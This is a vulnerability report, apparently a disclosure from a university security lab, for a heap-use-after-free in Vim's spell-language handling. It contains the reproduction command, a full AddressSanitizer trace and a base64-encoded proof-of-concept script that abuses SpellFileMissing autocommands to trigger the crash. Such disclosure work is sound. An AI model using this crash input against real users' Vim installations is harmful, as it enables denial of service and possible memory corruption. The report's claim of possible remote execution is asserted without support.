Description

heap-use-after-free in function did_set_spelllang at spell.c:2256:19

vim version

git log -1
commit 03d6e6f42b0deeb02d52c8a48c14abe431370c1c (HEAD -> master, tag: v9.0.0820, origin/master, origin/HEAD)

Impact

Proof of Concept

# ~/vim/src/vim -u NONE -X -Z -e -s -S ./poc3 -c ':qa!'
=================================================================
==19583==ERROR: AddressSanitizer: heap-use-after-free on address 0x62500000a120 at pc 0x55ab5727e6b4 bp 0x7ffe2878da30 sp 0x7ffe2878da28
READ of size 8 at 0x62500000a120 thread T0
    #0 0x55ab5727e6b3 in did_set_spelllang /root/vim/src/spell.c:2256:19
    #1 0x55ab56db52d2 in do_ecmd /root/vim/src/ex_cmds.c:3122:8
    #2 0x55ab56bd56f9 in do_argfile /root/vim/src/arglist.c:738:6
    #3 0x55ab56dd2de9 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
    #4 0x55ab56dd2de9 in do_cmdline /root/vim/src/ex_docmd.c:990:17
    #5 0x55ab57226f23 in do_source_ext /root/vim/src/scriptfile.c:1667:5
    #6 0x55ab57224b94 in do_source /root/vim/src/scriptfile.c:1811:12
    #7 0x55ab57224b94 in cmd_source /root/vim/src/scriptfile.c:1163:14
    #8 0x55ab56dd2de9 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
    #9 0x55ab56dd2de9 in do_cmdline /root/vim/src/ex_docmd.c:990:17
    #10 0x55ab575ef049 in exe_commands /root/vim/src/main.c:3135:2
    #11 0x55ab575ef049 in vim_main2 /root/vim/src/main.c:781:2
    #12 0x55ab575ec33b in main /root/vim/src/main.c:432:12
    #13 0x7f4485981d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 69389d485a9793dbe873f0ea2c93e02efaa9aa3d)
    #14 0x7f4485981e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: 69389d485a9793dbe873f0ea2c93e02efaa9aa3d)
    #15 0x55ab56b0c264 in _start (/root/vim/src/vim+0x1c6264) (BuildId: cc93689526cbfb3ad5bf5cb56efb76f0ae814d34)

0x62500000a120 is located 32 bytes inside of 9168-byte region [0x62500000a100,0x62500000c4d0)
freed by thread T0 here:
    #0 0x55ab56b8ee02 in free (/root/vim/src/vim+0x248e02) (BuildId: cc93689526cbfb3ad5bf5cb56efb76f0ae814d34)
    #1 0x55ab56be30f1 in apply_autocmds_group /root/vim/src/autocmd.c:2300:6
    #2 0x55ab56be5e23 in apply_autocmds /root/vim/src/autocmd.c:1710:12
    #3 0x55ab56db52d2 in do_ecmd /root/vim/src/ex_cmds.c:3122:8
    #4 0x55ab56bd56f9 in do_argfile /root/vim/src/arglist.c:738:6

previously allocated by thread T0 here:
    #0 0x55ab56b8f0ae in __interceptor_malloc (/root/vim/src/vim+0x2490ae) (BuildId: cc93689526cbfb3ad5bf5cb56efb76f0ae814d34)
    #1 0x55ab56bca2b8 in lalloc /root/vim/src/alloc.c:246:11

SUMMARY: AddressSanitizer: heap-use-after-free /root/vim/src/spell.c:2256:19 in did_set_spelllang
Shadow bytes around the buggy address:
  0x0c4a7fff93d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff93e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff93f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff9400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff9410: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c4a7fff9420: fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fff9430: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fff9440: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fff9450: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fff9460: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fff9470: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==19583==ABORTING

Content of poc3 (base64 encoded):

YXUgU3BlbGxGaWxlTWlzc2luZyAqIG4wCnNlIHNwZWxsCmF1IFNwZWxsRmlsZU1pc3NpbmcgKiBi
dwpzbus=

Impact

This vulnerability is capable of crashing software, modify memory, and possible remote execution.

Report of the Information Security Laboratory of Ocean University of China @OUC_ISLOUC @OUC_Blue_Whale